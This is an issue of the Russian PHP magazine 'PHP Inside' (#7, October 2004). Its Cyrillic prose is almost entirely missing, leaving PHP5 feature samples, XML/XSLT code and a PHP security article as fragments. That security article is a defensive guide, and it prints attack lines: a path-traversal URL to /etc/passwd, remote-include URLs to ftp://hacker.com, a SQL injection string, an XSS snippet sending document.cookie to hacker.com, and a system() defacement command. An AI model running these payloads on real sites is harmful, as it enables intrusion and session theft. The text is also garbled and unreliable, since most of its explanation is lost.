#7, Октябрь'2004 :: Очей очарованье

PHPInside.netPHPInside.netPHPInside.net

-

No 7 '04

! PHPConf 2004

2004

PHP Inside 7

........................................................................................................... 12 ! PHP5..........................................................................................15PHP .................................................................................................................55 , ..............................................................................................79CMF freelance-.................................................................................... 97 () PHP MEMCACHE...........................................108 PHP, MYSQL ISPELL...................................................................118 PHP.............................................................................................................. 140 1 -................................ 159PHP ............................................................................................................... 195

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2

http://phpclub.ru E-Mail: [email protected] WWW: http://phpinside.net

: [Lenka]

PHP Inside 7

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- . , - . PHP . . - , , . CMF, . , - , - PHP5, , , .

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[Young], :- PHP5,

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3

PHP Inside 7

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4

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PHP Inside 7

[Sad Spirit]:- , , , , -

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CMF. , -. , - . , ... , - , , ... , , . , , .

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5

, , , .

PHP Inside 7

- .. -. , , . . -. , - - , , PHP/MySQL. . .

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6

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PHP Inside 7

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7

PHP Inside 7

, - . , - -, , . -, , . . . , , , .

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8

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PHP Inside 7

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- CMF. , , , - . , . , , , .

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9

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PHP Inside 7

[Hem], :- , . , , -

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, , ,. . , , . . , , , .

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10

PHP Inside 7

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[Werewolfy]:- , , .

-, . - ... . -, .

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11

PHP Inside 7

- WebProfy http://webprofy.ru

- WebProfy . . - , - .

- WebProfy - , , , .

PHPClub http://phpclub.ru -, -

5 . PHP - .

:

PHP - http://detail.phpclub.net/

PHP

PHPInside http://phpinside.net

(PDF) , -, .

PHP FAQ http://faq.phpclub.net/

- PHP

http://edocs.phpclub.net/

, - , , - ,

:ATLEX http://atlex.ru

ATLEX 1996 , - ATLEX Telecom. : , ,, -.

12

PHP Inside 7 :

ATLEX - , - - . : Motorola, Avaya, Compaq, CISCO Systems,Siemens, Lucent Technologies, Hewlett-Packard, APC, 3Com , .

, , . : , , ( - , - ), , .

http://aist.ru -,

1999 . , - , . , -- , , - , .

- -, , , , - .

- NetCat http://netcat.ru.

Bhost.ru http://bhost.ru

Bhost.ru -, . - , - -, , - . - 26313 . - , , - , , -.

13

PHP Inside 7 :

. , - , -. - PHP

, - - PHP.

INFOBOX http://infobox.ru INFOBOX 2000 .

INFOBOX :

, , ,

24/7, -,

Back-up, /.

INFOBOX 2000 . - - . Europe Online.

. -. - .

- - .

! PHP5

14

PHP Inside 7 ! PHP5

! PHP5

PHP 1994. - . , bugfix- 5.0.1. PHP5 . , - PHP5 -- , C++ Java. PHP5 - .

: ,,

- -: , , . . , - . - . , () . - .

, - , . - . '' , . - , . - ' , '.

(-) (, -).

15

:

PHP Inside 7 ! PHP5

, - . , - - -.

PHP5/ZE2 PHP4/ZE1,

PHP5, , , .. , , . PHP 5.0.1-dev. , .

PHP5

, -. PHP -, , , .

. -- , PHP.

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PHP5 , -

. - , , , , . . , private,protected public, , .

, var, - , .. var public. var .

16

PHP Inside 7 ! PHP5

17

publicMyClass::printOut() privateMyClass::printOut() protectedMyClass::printOut() publicNotice: Undefined property: MyClass2::$private in filename on line 32publicMyClass::printOut() privateMyClass::printOut() protected2MyClass::printOut() publicNotice: Undefined property: MyClass2::$private in filename on line 19MyClass2::printOut()MyClass2::printOut() protected2MyClass2::printOut() public

PHP Inside 7 ! PHP5

PHP5 . - private protected function. - public, function.

, "public", "protected" "private" - .

PHP5 . -

. , , . . abstract class function.

18

Bar::aPublicMethod() .Foo::aProtectedMethod() .Foo::aPrivateMethod() .

PHP Inside 7 ! PHP5

, "abstract" .

PHP5 . -

. . , - , . interface class. , - implements -- .

, "interface" "implements" .

PHP5, , -

, . , , , - .

19

ImplementedClass::test() .

interface Foo { function a (Foo $foo);}interface Bar { function b (Bar $bar);}class FooBar implements Foo, Bar { function a (Foo $foo) { // ... } function b (Bar $bar) { // ... }}$a = new FooBar ();$b = new FooBar ();$a->a ($b);$a->b ($b);

PHP Inside 7 ! PHP5

, , . ,

, .

.

PHP5

. . . .

. final, - class function.

, "final" .

20

PHP Inside 7 ! PHP5

PHP4 -

, : .

, - , . , , . , - GTK- , , , , , - ..

PHP5 clone. , PHP5 - __clone(), , - . , , . - __clone() Fatal error.

, "clone" __clone() .

21

01HelloNew York

PHP Inside 7 ! PHP5

PHP5, PHP4, -

, , , .

PHP4 , , . , , .

PHP5 , __construct(). , PHP4, , - .

PHP5 __construct(), - . __construct() .

. - , .

PHP5 , , Java: , , - __destruct(), -, , .

22

BaseClass BaseClass SubClass

PHP Inside 7 ! PHP5

, , - .

__destruct() - .

PHP5 , .

, "const" .

, PHP4 , -

, . PHP5 .

23

MyDestructableClass

Foo::constant = constant

PHP Inside 7 ! PHP5

.

PHP4

. PHP5 - , .. , - , -.

.

24

array(3) { [0]=> string(3) "bla" [1]=> int(1) [2]=> float(3.14159265359)}

PHP Inside 7 ! PHP5

PHP5 static -

, .. . $this , .

.

instanceof PHP5 instanceof, -

, - .

, "instanceof" .

25

Foo::aStaticMethod()array(3) { [0]=> string(3) "bla" [1]=> int(1) [2]=> float(3.14159265359)}

Hello World

PHP Inside 7 ! PHP5

__autoload() __autoload(), ,

, . .

"__autoload" .

, -

__call(), __get() __set().

__get() __set()

26

ClassName

class Setter { public $n; public $x = array ('a' => 1, 'b' => 2, 'c' => 3); function __get ($nm) { echo " [$nm]\n"; if (isset ($this->x[$nm])) { $r = $this->x[$nm]; echo ": $r\n"; return $r; } else { echo "!\n"; } } function __set ($nm, $val) { echo " [$nm] $val\n"; if (isset ($this->x[$nm])) { $this->x[$nm] = $val; echo "!\n"; } else { echo "!\n"; } }}$foo = new Setter ();$foo->n = 1;$foo->a = 100;$foo->a++;$foo->z++;var_dump ($foo);

PHP Inside 7 ! PHP5

__call()

27

test :array(4) { [0]=> int(1) [1]=> string(1) "2" [2]=> float(3.4) [3]=> bool(true)}array(3) { [0]=> int(1) [1]=> int(2) [2]=> int(3)}

[a] 100! [a]: 100 [a] 101! [z]! [z] 1!object(Setter)#1 (2) { ["n"]=> int(1) ["x"]=> array(3) { ["a"]=> int(101) ["b"]=> int(2) ["c"]=> int(3) }}

PHP Inside 7 ! PHP5

c : "__get", "__set" "__call" .

-

foreach.

.

, , Traversable. .. , Traversable, - foreach.

IteratorAggregate Iterator , - PHP-. getIterator(), , Iterator, - , .

28

PHP Inside 7 ! PHP5

, .. - , - Iterator IteratorAggregate. - .

29

0 = 1st1 = 2nd2 = 3rd0 = 1st1 = 2nd2 = 3rd

PHP Inside 7 ! PHP5

__METHOD__ __METHOD__

, , , .

"__METHOD__" .

__toString() -

. , , , echo print, .

c "__toString" - .

30

ex0-20.phps (4) Foo::show ()ex0-20.phps (8) test ()

class Foo { function __toString () { return 'What ever'; }}$o = new Foo ();echo $o, "\n"; // __toString() print $o; // __toString() echo "\n";printf ("%s\n", $o); // __toString() $str = (string) $o; // __toString() echo $str, "\n";

What everWhat everObject id #1Object id #1

PHP Inside 7 ! PHP5

$this $this -

. .

, , - .

: throw/try/catch.

PHP4 . PHP5 - , -. , "catch all", "finally".

throw, try catch.

, try catch, , catch. instanceof, ..

(.. catch )

31

Fatal error: Cannot re-assign $this in filename on line 6

try { // try block} catch (Exception1 $e) { // Exception1 block} catch (Exception2 $e) { // Exception2 block}

PHP Inside 7 ! PHP5

try/catch . - , - . , - , - catch, - (), - .

try/catch, .

catch.

-, Exception, , -- Exception. ,

32

throw $e;

MyExceptionFoo: Hello

PHP Inside 7 ! PHP5

, "catch all". , -.

Exception PHP-. -. , .. , . , .. , , , , .

33

catch (Exception $e) { // ...}

class Exception { function __construct (/*string*/ $message = NULL, /*int*/ $code = 0) { if (func_num_args()) { $this->message = $message; } $this->code = $code; $this->file = __FILE__; // throw $this->line = __LINE__; // throw $this->trace = debug_backtrace (); $this->string = StringFormat ($this); } protected $message = 'Unknown exception'; // protected $code = 0; // protected $file; // , protected $line; // ,

private $trace; // private $string; // final function getMessage () { return $this->message; } final function getCode () { return $this->code; } final function getFile () { return $this->file; } final function getTrace () { return $this->trace; }

PHP Inside 7 ! PHP5

, Exception, , -.

, "catch", "throw" "try" - , , "catch", "throw" "try" .

.

. .. - - , .

, DOMException,SQLLiteException, com_exception ., - Exception , , -.

, .

-

, .. , . -, - PHP. , .

34

final function getTraceAsString () { return self::TraceFormat ($this); } function _toString () { return $this->string; } static private function StringFormat (Exception $exception) { // , php-, // . } static private function TraceFormat (Exception $exception) { // , php-, // . }}

PHP Inside 7 ! PHP5

, PHP , , - PHP, . , E_NOTICE , , , , .

, set_error_handler() "E_ALL | E_STRICT".

, phpException php .

. , class.phpException.php

35

PHP Inside 7 ! PHP5

, - try , - .

.

__autoload(), __get()/__set(), __call() -

. - PHP4 , error_handler'. PHP5 __autoload, - . , - -, __autoload , , . , __autoload - class_exists ( - false).

PHP5 . __get, __set __call - , . _get __set - , __set . , - , , - / !

36

function __autoload($className){ require PATH_EXTENSIONS.$className.'.inc';}

PHP Inside 7 ! PHP5

__get -. __set : . __call, -, .

37

class Foo{ private $bar = array(); public $n = 'blah'; function __call($method) { print 'Method '.$method.' has been called'; } function __set($name, $value) { $this->bar[$name] = $value; } function __get($name) { return $this->bar[$name]; }}$foo = new Foo();$foo->x = 'blah2';$foo->n = 'blah3';$foo->sayCheesee();

PHP Inside 7 ! PHP5

SPL: arrayAccess ..

PHP PHP (SPL) . , , -, SimpleXML. - ArrayAccess ArrayObject, . , -, , ArrayObject - ArrayIterator, -.

PHP5 . zend.ze1_compability_mode, PHP4. , - - . - , - , register_globals, - HTTP_*_VARS.

, ibase iconv. . , - php_* - .

PHP4, , PHP4, -

PHP5. - PHP5.

38

function reursion($iterator){ echo('');

for (; $iterator->valid(); $iterator->next()) { echo ''.$iteratir->current().' '.($iterator->isDir() ? 'Dir' :'File'); } echo('');}recursion(new RecursiveDirectoryIterator('/'))

PHP Inside 7 ! PHP5

PHP ,

, PHP4 PHP5 (http://www.php.net/migration5). -, PHP5.

: http-

.. PHP5 Windows , http- %PATH%.

, SAPI PHP - PHP, exe-SAPI. - CGI-SAPI php.exe php-cgi.exe, CLI-SAPI - php.exe, cli. - exe-SAPI php-win.exe, CLI, .

, httpd.conf( Apache) CGI :

Action application/x-httpd-php "/php/php.exe"Action application/x-httpd-php "/php/php-cgi.exe" LoadModule php4_module /php/sapi/php4apache.dll LoadModule php5_module /php/php5apache.dll .

CLI %PATH% ( ) /php/cli /php

, , , Apache2 httpd.conf PHPINIDir, - php.ini, CLI/CGI PHP, Apache.

, PHP4: , ..

PHP4, - . PHP5 PHP4 :

strrpos() strripos() , ( substr($str, 0, 1) ).

39

PHP Inside 7 ! PHP5

( ) - E_ERROR, E_WARNING, - ( strlen() ).

array_merge() . , E_WARNING . ( -, , - (array) .)

, .. empty() false, true, ( , get_object_vars()).

40

class test { }$t = new test();// var_dump (empty ($t));if (!$t) { // ...}// var_dump (empty (get_object_vars ($t)));if (!get_object_vars ($t)) { // ...}

PHP Inside 7 ! PHP5

, . , - PHP5 ( , , ).

get_class() , , , ( strtolower(get_class ($obj))).

ip2long() IP- false, -1, (.. -1 == true, : $res === false || $res == -1).

41

PHP Inside 7 ! PHP5

.. PHP5

, http://www.php.net/migration5.functions, -, - - .

: - , , , :

, , , .

MySQL.. MySQL ,

, MySQL PHP5 . .

MySQL , - PHP, :

-.

- -, .

.

- GPL, BSD/Apache.

PHP5 . , - MySQL ( Unix-like ), , (Windows). PHP MySQLi, - MySQL 4.1 .

, ,

, , - , .

42

if (function_exists ('function_name')) { function function_name (...) { // ... }}

PHP Inside 7 ! PHP5

, .. PHP5 -, PHP - php.ini -zend.ze1_compatibility_mode, On - PHP4. ,

php_flag zend.ze1_compatibility_mode on .htaccess -

, -.

, , PHP5, .. ZendEngine2, - , ., PHP5 DOMXML DOM, , - DOMXML. ,.. DOMXML PHP5 PECL. , , , , , - .

, .

, PHP5 - E_STRICT, 2048 - E_ALL, 2047. , , - -, . , - - , , , - .

, PHP5, .. , , , . . , - , .. , PHP5.

E_STRICT, .. - -. , PHP4, PHP5, , PHP5.

43

PHP Inside 7 ! PHP5

, , , . , , PHP5 - (zend.ze1_compatibility_mode).

XML - libxml2, DOMXML/Sablotron DOM/XSLT, SimpleXML

XML ,

. XML PHP5 . PHP4 -, . , PHP4.3, ( ) PHP5.

, PHP5 - XML PHP4 .

articles.xml

XML PHP4

PHP XML . , SAX-, , , XML- . XML domxml- PHP4. xslt Sablotron . PHP4 domxml HTML, XSLT - DTD. , .. xslt domxml , .

, domxml DOM, W3, -. PHP4.3 -, , - .

44

PHP Weekly: Issue # 172 http://www.zend.com/zend/week/week172.php Tutorial: Develop rock-solid code in PHP: Part three http://www.zend.com/zend/tut/tut-hatwar3.php

PHP Inside 7 ! PHP5

, SAX-, , - .

PHP, XML, .

XML PHP5 PHP5 , XML, -

. XML- - libxml2 GNOME. XML-, .. - . , - XML-.

SAX-, - PHP4, PHP5 DOM - W3C XSLT libxstl. PHP SimpleXML SOAP. , XML , - PHP XML-. , SAX, DOM SimpleXML , . XSLT SOAP, , - .

XML- ,

PHP. PHP5 , , . , - , .

(, PHP4.3 PHP5, , - , . . PHP5.)

SAXSAX Simple API for XML, -

XML. , - XML-. - SAX PHP - . PHP5 , . expat PHP4 libxml2 PHP5.

45

PHP Inside 7 ! PHP5

, libxml2 2.6 ( ). , xml_parser_create_ns(), libxml2 2.6 .

DOMDOM (Document Object Model )

XML, -, W3C. PHP4 - domxml. . , - PHP4.3.

, DOM, dom, W3C, . - DOM , JavaScript, PHP- -. -, .. .

W3C, , domxml, -- . , - PHP4.3, - ( DOM - ). , - , .

, , - PHP4, PHP5 DomNodeList. .. -

$list[0]->method ('param'); item(), $list->item (0)->method ('param'); -

, :

1) domxml PHP5 - PECL. .

2) - dom, domxml.

., , , , , (http://alexandre.alapetite.net/doc-alex/domxml-php4-php5/domxml-php4-to-php5.php.txt) - .

46

PHP Inside 7 ! PHP5

.

XPathXPath SQL XML. C

XPath , - .

XPath dom , , dom, - XPath. , , Xpath.

PHP5

. dom. , - DomDocument, . , , - DomException NO_MODIFICATION_ALLOWED_ERR.

47

$dom = new DomDocument ();$dom->load ("articles.xml");

// $titles = $dom->getElementsByTagName("title");foreach ($titles as $node) { echo $node->textContent . "\n";}

// foreach ($dom->documentElement->childNodes as $articles) { // (nodeType == 1) "item", if ($articles->nodeType == 1 && $articles->nodeName == "item") { foreach ($articles->childNodes as $item) { // "title", if ($item->nodeType == 1 && $item->nodeName == "title"){ echo $item->textContent . "\n"; } } }}

$dom = new DomDocument ();$dom->load ("articles.xml");$xp = new domXPath ($dom);$titles = $xp->query ("/articles/item/title");foreach ($titles as $node) { print $node->textContent . "\n";}

PHP Inside 7 ! PHP5

:

HTML PHP5 , -

PHP4, libxml2 HTML. , - XML, HTML, - DomDocument, - DOM, XPath SimpleXML.

, - , . ( - .) XPath, XSLT SimpleXML SAX . , HTML- , .

HTMLDOM- HTML 4.0, , - XHTML.

- php:

()

XML- . , XML-- , - , .

48

class Articles extends DomDocument { function __construct () { //has to be called! parent::__construct (); } function addArticle ($title) { $item = $this->createElement ("item"); $titlespace = $this->createElement ("title"); $titletext = $this->createTextNode ($title); $titlespace->appendChild ($titletext); $item->appendChild ($titlespace); $this->documentElement->appendChild ($item); }}$dom = new Articles ();$dom->load ("articles.xml");$dom->addArticle ("XML in PHP5");echo $dom->save ("newfile.xml");

$dom = new DomDocument ();$dom->loadHTMLFile ("http://www.php.net/");$title = $dom->getElementsByTagName ("title");echo $title->item (0)->textContent;

PHP Inside 7 ! PHP5

, PHP- , .. : DTD, XML Schema RelaxNG.

DTD , SGML, XML, , - . , XML, / .

XML Schema , W3C. - , XML-.

RelaxNG XML Schema, - . , .. -, XML Schema.

Schema- XML-, RelaxNG-. -, , . Trang, - RelaxNG- XML-. , RelaxNG ( DTD) - libxml2, XML Schema .

, .

. PHP. -, , - PHP5.0.0.

SimpleXMLSimpleXML

XML PHP. SimpleXML XML- . , .

, - .

49

$dom->validate ('articles.dtd');$dom->relaxNGValidate ('articles.rng');$dom->schemaValidate ('articles.xsd');

$sxe = simplexml_load_file ("articles.xml");foreach ($sxe->item as $item) { echo $item->title . "\n";}

PHP Inside 7 ! PHP5

? , SimpleXML. ? articles.xml SimpleXML . item, $sxe->item. $item->title title. - : $item->title['id'].

, , , - . , $item->title[0] , . , , $sxe->item->title XPath. SimpleXML , , - ZendEngine2. .

, - , XPath, .

, , , - XML-, XPath SimpleXML .

SimpleXML- ,

SimleXML-.

DomDocument SimpleXML libxml2,

SimpleXML DomDocument , .. . , , . :

XSLTXSLT XML-

XML-. XSLT- XML- , - -- PHP.

50

foreach ($sxe->xpath ('/articles/item/title') as $item) { echo $item . "\n"; }

$sxe->item->title = "XML in PHP5 "; // title$sxe->item->title['id'] = 34; // title$xmlString = $sxe->asXML (); // SimpleXML- XML-echo $xmlString;

$sxe = simplexml_import_dom ($dom);$dom = dom_import_simplexml ($sxe);

PHP Inside 7 ! PHP5

PHP4 2 XSLT-: Sablotron ( xslt) libxslt ( domxml). - , .

PHP5 libxslt. libxslt , libxml2, XML PHP5.

Sablotron , , , -. , Sablotron, PHP5 libxslt. libxslt, - JavaScript, Sablotron. Sablotron PHP. libxslt XSLT, : .

, , XML- DOM XSL, : XSL - XML-, DOM.

XSLT-, W3C-- . Mozilla.

XSLT. articles.xsl :

PHP-

XSLT articles.xsl DOM- load(). XsltProcessor, , titles - Titles ( setParameter ($namespaceURI, $name, $value)). transformToDoc ($inputDom), - DomDocument.

51

PHP Inside 7 ! PHP5

, .. - XSLT, - , ..transformToDoc() XML--. transformToDoc(), : transformToXML ($dom), -, transformToURI ($dom, $uri), - PHP. , XSLT indent="yes", transformToDoc(), .. DomDocument . - , .

PHP-

XSL PHP- XSLT. XML/XSLT, . XSLT , . , , PHP. XSLT. PHP- dateLang():

52

load ("articles.xsl");$inputDom = new DomDocument ();$inputDom->load ("articles.xml");

/* */$proc = new XsltProcessor ();$xsl = $proc->importStylesheet ($xsl);$proc->setParameter (null, "titles", "Titles");

/* xml- */$newDom = $proc->transformToDoc ($inputDom);echo $newDom->saveXML ();?>

function dateLang () { return strftime ("%A");}// $xsl = new DomDocument ();$xsl->load ("datetime.xsl");$inputDom = new DomDocument ();$inputDom->load ("today.xml");$proc = new XsltProcessor ();$proc->registerPhpFunctions ();$xsl = $proc->importStylesheet ($xsl);// XML-$newDom = $proc->transformToDoc ($inputDom);echo $newDom->saveXML ();

PHP Inside 7 ! PHP5

XSLT (datetime.xsl), :

XML- (today.xml) - ( c articles.xml ):

, PHP- - XML-, , . php:function(), PHP-. , php:functionString(), - , .

, - registerPhpFunctions(), PHP- . - , , -, , PHP5.

SQLite PHP5,

MySQL, PHP . , . SQLite - SQL. SQLite -. , NULL. SQLite Char, Text, Float. SQLite : integer string, - - . - .

, SQLite . . , - , SQLite : ,SQLite , - . SQLite , , - , .

53

PHP Inside 7 ! PHP5

SOAP PHP5 -

SOAP. SOAP , W3C, -. XML, PHP 5 , . PHP5 , SOAP.$client = new SoapClient('foo.wsdl');

$client->bar($baz);

MySQLi MySQLi -

, MySQL 4.1.2 - . .

Reflection api , PHP5 -

- reflection api - , , .

Reflection API - , :

, Reflection .

Reflection::export(Reflection_Class('Foo'));

. , Reflection API - , 'isPassedByReference' 'isPublic' .

54

class Reflection { } interface Reflector { } class Reflection_Exception extends Exception { } class Reflection_Function implements Reflector { } class Reflection_Parameter implements Reflector { } class Reflection_Method extends Reflection_Function { } class Reflection_Class implements Reflector { } class Reflection_Property implements Reflector { } class Reflection_Extension implements Reflector { }

PHP Inside 7 PHP

PHP -

, , .

, , . - " ": - , , -. - - , , - - . " , ", -.

,

PHP, , . - , , (-, ). , .

URL

, . -, , . -, GET- URL. - , , - .

: -

PHP-, "-" .

55

:

PHP Inside 7 PHP

, ,:

, . , -, , /etc/passwd URL:

, /etc/passwd - ( - , - Unix), ,, .htaccess, - ..

, , - . , - , : .

: , -

, :

, , /etc/passwd .htaccess ( php), "". , - , , "" , " ":

index.php, - index.php, index.php .. -. - , .

: allow_url_fopen, , -

pages, , - .

56

http://example.com/index.php?p=news.php - http://example.com/index.php?p=vote.php - ...

http://example.com/index.php?p=../../../../etc/passwd - !

http://example.com/index.php?p=../index - !

PHP Inside 7 PHP

:

- :

:

PHP include, fopen .. - , HTTP FTP. FTP- hacker.com eraser.php (, phpRemoteView, - ; . ).

include , allow_url_fopen=off php.ini. http- ftp- fopen(), file_get_contents() .. ( -, PHP - allow_url_fopen : include .)

, include- ,

, ( fopen(), file_get_contents() ..). , , , ( ) .

, URL

, , , :

57

http://example.com/index.php?p=ftp://hacker.com/eraser - !

include "ftp://hacker.com/eraser.php";

PHP Inside 7 PHP

, -:

index.php;

break, -;

-, .

:

, :

, ", , - ", : ", , - ". , $p ".." "", "" ( , , , ).

, (, 101.php, 314.php ..), preg_replace() @intval().

Tainted data (Perl) Perl , -

. "tainted data" (" ") -T .

, -, "" (, -) "". "" "" . , "" , "".

58

PHP Inside 7 PHP

, - (, open(), system() ..) -T - "" , . , .

"" Perl (.. "tainted") -, , . - "".

PHP, , "tainteddata", .

: phpRemoteView , "" -

, "" . - - , -- - .

- phpRemoteView, :

( ), " " (,, ). Google:

, " ", ., -, .

, , - phpRemoteView. - php-, - ( , -- , ).

phpRemoteView, : 9 10, - ( , ).

, -, . phpRemoteView, , URL IP- - .

59

http://php.spb.ru/remview/

http://www.google.com/search?ie=UTF-8 &oe=UTF-8&q=phpRemoteView

PHP Inside 7 PHP

SQL-Injection , PHP -

, , , - , . " " - SQL injection ("SQL-"), . , - , , .

SQL injection? , "--" - -

, ( , , phpBB, http://phpbb.com):

$topic_id QUERY_STRING, ? . :script.php?topic_id=1'+OR+1!='

:

, ! SQL injection: "-" , SQL-, .

, :

, addslashes(), - ' () "-" . , , phpBB, ( , )

60

$sql = "DELETE FROM " . TOPICS_TABLE . " WHERE topic_id = '$topic_id' OR topic_moved_id = '$topic_id'";if (! ($result = $db->sql_query($sql))){ message_die(GENERAL_ERROR, 'Error in deleting post', '', __LINE__, __FILE__, $sql);}

DELETE FROM phpbb_topicsWHERE topic_id = '1' OR 1!=''OR topic_moved_id = '1' OR 1!=''

$sql = "DELETE FROM " . TOPICS_TABLE . " WHERE topic_id = '" . addslashes($topic_id). "' OR topic_moved_id = '" . addslashes($topic_id). "'";if (!$db->sql_query($sql)){ message_die(GENERAL_ERROR, 'Error in deleting post', '', __LINE__, __FILE__, $sql);}

PHP Inside 7 PHP

. 1.

magic_quotes_gpc ,

? , . magic_quotes_gpc, - PHP , , - "" (, - ). , ( , - , "topic_id=1+OR+1" -; ). -:

: - "cat's" . - (. . 1 ).

, , , . ., 2 , -?.. , .

, , , :

61

PHP Inside 7 PHP

magic_quotes_gpc. , "cat\'s", "cat's" - stripslashes(). , : stripslashes(), magic_quotes_gpc, , ...

placeholder- ,

, , sprintf() ( - DBI Perl). , - (placeholder-, " ", markers ""), "?".

, , - , . C - mysql_qw(), , - :

( ) SQL-. , - addslashes() ( mysql_escape_string()) .

, , , - mysql_escape_string() , -, . , .

, SQL-- placeholder-.

62

PHP Inside 7 PHP

:

, , placeholder, " " , UNKNOWN_PLACEHOLDER_1. - ( , - die()), - .

mysql_qw.php - http://php.dklab.ru/lib/Database. , - 20 ( ), .. . mysql_qw() - sprintf(), - %s - ( , ). , '?' %s sprintf().

- http://php.dklab.ru/lib/Database - "" placeholder-, , (, MySQL IN()) ='' ( UPDATE). Placeholder.php. "PHP, MySQL " http://dklab.ru/chicken/30.html.

mysqli PHP5 mysqli,

MySQL 4 , placeholder- (, ).

63

PHP Inside 7 PHP

:

SID -

(session; ) . , -, .

.

1. .

2. , , - , .

3. (SID Session IDentitier), , , ( , ).

4. SID Cookies , - URL ( Cookies ).

5. , , SID Cookies URL (PHP , $_SESSION). - , (, ).

, , SID , Cookies URL , , "" .

SID SID?

, - , SID.

:

, , 01c1739de76ed46e639cd23d33698121.

, , - . , SID, -.

64

$stmt = $mysqli->stmt_init();$stmt->prepare("SELECT District FROM City WHERE Name=?");$stmt->bind_param("s", $city);$stmt->execute();

http://forum.dklab.ru/?sid=01c1739de76ed46e639cd23d33698121

PHP Inside 7 PHP

HTML- SID URL, Cookies,

. -, , :

, ( ), -.

, htmlspecialchars(), < >. HTML-. , - .

, - :

JavaScript, , Cookies . , , ( htmlspecialchars() ) "" : Cookies - , , .

, , ( HTML-) SID.

65

window.open("http://hacker.com/get.php?"+document.cookie, 'new')

PHP Inside 7 PHP

SID IP-

. - " , " - . SID -: SID URL "" HTML, - .

, .

"" SID IP- , - , , , phpBB. , , - .

:

, :

, , IP- , - . SID, : , IP-, , - .

, .

-- ( NAT-), IP-. ( - .) , SID .

, , , , IP-. , , - -. ( , SID.)

66

PHP Inside 7 PHP

-, . , "-" (- ). (, ) IP-, 3 . - SID , - "" - .

DoS-DoS- ( Denial of Service )

, , ( -).

, - , . "" , : (, 14:00 15:00 ) -. , "" "-" ( - IP-). DoS- - DoS.

(time_limit, memory_limit ..) ( ) DoS- -

, - , (, - ). PHP - , php.ini, , ini_set().

memory_limit ( set_memory_limit()) , - . .

max_execution_time ( set_time_limit()) ( , , , POST- -). 2-3 ( - , , ). , - .

67

PHP Inside 7 PHP

, max_input_time , - POST-. , , (upload): - ., - PHP-, max_input_time : - 100 , , .

-

, . - "" DoS- ( , , ). "" - , (IP-) , , . ,, Reload , - .

, - _dima_noflood.php (http://php.spb.ru). : , - , - . , -, .

, 1 - 3 , . 10 30 (3 * 10), , 15. , - 10 - 3 /!

, - - , , "".

IP-, , - ( - ).

, Subsys_Antiflood_Main.

68

require_once "Subsys/Antiflood/Main.php";$af = new Subsys_Antiflood_Main("/tmp/".md5($_SERVER['SERVER_NAME'])."/antiflood"));$wait = $af->getTimeout();if ($wait) { echo " !"; echo " $wait ."; exit();}

PHP Inside 7 PHP

, . .

http://php.dklab.ru/lib/Subsys/Antiflood

, (, ) Apache, - " ", PHP. , . :

http://www.nuclearelephant.com/projects/dosevasive/

PHP -

PHP, .

Safe mode () , -

Apache . , , - . "" . Apache 8 - , . , , - ( ,, Java- Web).

, . - - Apache , PHP- - ; , .

Apache, PHP , - . safe_mode. safe_mode ( ).

, "" Apache ( -

) mod_php, , . - ( , -, bash) - "" . , -.

.

69

PHP Inside 7 PHP

, .. -, UID (User ID);

-, .

- 700 ( rw-------, " - , ").

Unix - "" "" FTP- . , , .

, ""Apache. , ( ) -. Apache , - httpd ( nobody). - , ( , ).

, , - ( ) httpd. :

"" , 770 (rwxrwx--- - - );

httpd, - httpd.

Apache , - .

1. - . , - Unix.

2. PHP-, Apache, -, , httpd. , Apache - ( ) , httpd. , - httpd.

3. , , - (.. httpd), PHP- , - (, FTP)... "" rw-r--r--( , , , -), - .

70

PHP Inside 7 PHP

safe_mode - ,

safe_mode PHP , , . , ( ), (UID) (.. , ). . , , , httpd. , , rw-rw-rw.

:

PHP UID, GID . .. httpd ( , Apache), "" FTP - .

safe_mode , ( ) ( ) - . : - /tmp, Unix, safe_mode .

, . , safe_mode - .

. PHP, - .

open_basedir , , PHP- . - PHP ., :

. PHP, , "" , :

, - system().

, , , - PHP PHP .

71

safe_mode_gid = On

open_basedir =

system("echo hacked>/home/otheruser/index.html");

safe_mode_exec_dir =

PHP Inside 7 PHP

, , - safe_mode, PHP . . ,, , : safe_mode -.

, safe_mode , . , , magic_quotes_gpc, . - - - .

UID PHP ( -

), . : CGI- ( SuEXEC Apache); PHP. Apache mod_php - .

, - Apache, mod_php . safe_mode, , . , "" Apache : -, , - .

, (, --, ) Apache, mod_php. -, : - Keep-alive, - ( ).

" SID" ,

, - (, ) HTML-.

, , - .

72

disable_functionc = 1,2,

PHP Inside 7 PHP

HtmlSpecialChars; strip_tags , , -

, - HTML-. , PHP :

, , ! , strip_tags() "" , "". ,, "" :

: " " -:

"-" HTML- "" ( ) ,, , . :

, , - , . PHPHtmlSpecialChars().

, ,

"" ? :

, - "" - . , .

BBCode -

. BBCode - "" , , htmlspecialchars(), "-" HTML-.

73

$text = strip_tags($text);

x = ad

x = ad

& --> &< --> --> >

$text = htmlspecialchars($text);$text = preg_replace('{}si', '', $text);

PHP Inside 7 PHP

:

register_globals PHP =-

, , $ . PHP , , . :

, , , PHP . , -:

, , - (register_globals=on) . , ( ) error_reporting=E_ALL ( E_NOTICE). , , - register_globals=on:

, URL:

, , $ok, 1, , .. . , error_reporting=E_ALL ( E_ALL E_NOTICE ), PHP - $ok . E_ALL&~E_NOTICE ( E_NOTICE) -, , , .

, E_NOTICE - .

74

[b][/b], - [i][/i].

$_GET[''] = '';$_POST[''] = '';

register_globals = off

http://example.com/script.php?ok=1

PHP Inside 7 PHP

:

, , - $libs . PHP - , , . - :

"".

, register_globalse=on - . - register_globalse=on : -. , php.ini . , - .

display_errors log_errorsPHP , -

500- , -. : ( ) .

, ( ) - .

, PHP - (, - URL, ). , , , - , -, .

, PHP - , . :

75

http://example.com/script.php?libs[]=ftp://hacker.com/format.php

log_errors = Onerror_log = log.txtdisplay_errors = Off

PHP Inside 7 PHP

, ini_set().

.htaccess , PHP,

, "" .

1. .

2. .htaccess, .

.

-:

:

PHP- ; ( - mod_php):

Basic- PHPBasic-

. , , , .

mod_php:

CGI PHP CGI- PHP ( -

), , - HTTP_AUTHORIZATION.

76

deny from all

allow from all

AddType application/x-httpd-php-source .php

// ( ).function Authenticate($realm="Admin authentication", $nm, $pass){ global $PHP_AUTH_USER, $PHP_AUTH_PW; if ($PHP_AUTH_USER!=$nm || $PHP_AUTH_PW!=$pass) { Header("WWW-Authenticate: Basic realm=\"$realm\""); Header("HTTP/1.0 401 Unauthorized"); exit; }}

PHP Inside 7 PHP

, , mod_rewrite, - .htaccess :

HTTP/1.0 404Unauthorized, Status: 401. -:

, getallheaders() - mod_php.

E_* (PHP5) PHP5 -

. , "" (E_WARNING, E_NOTICE) .

77

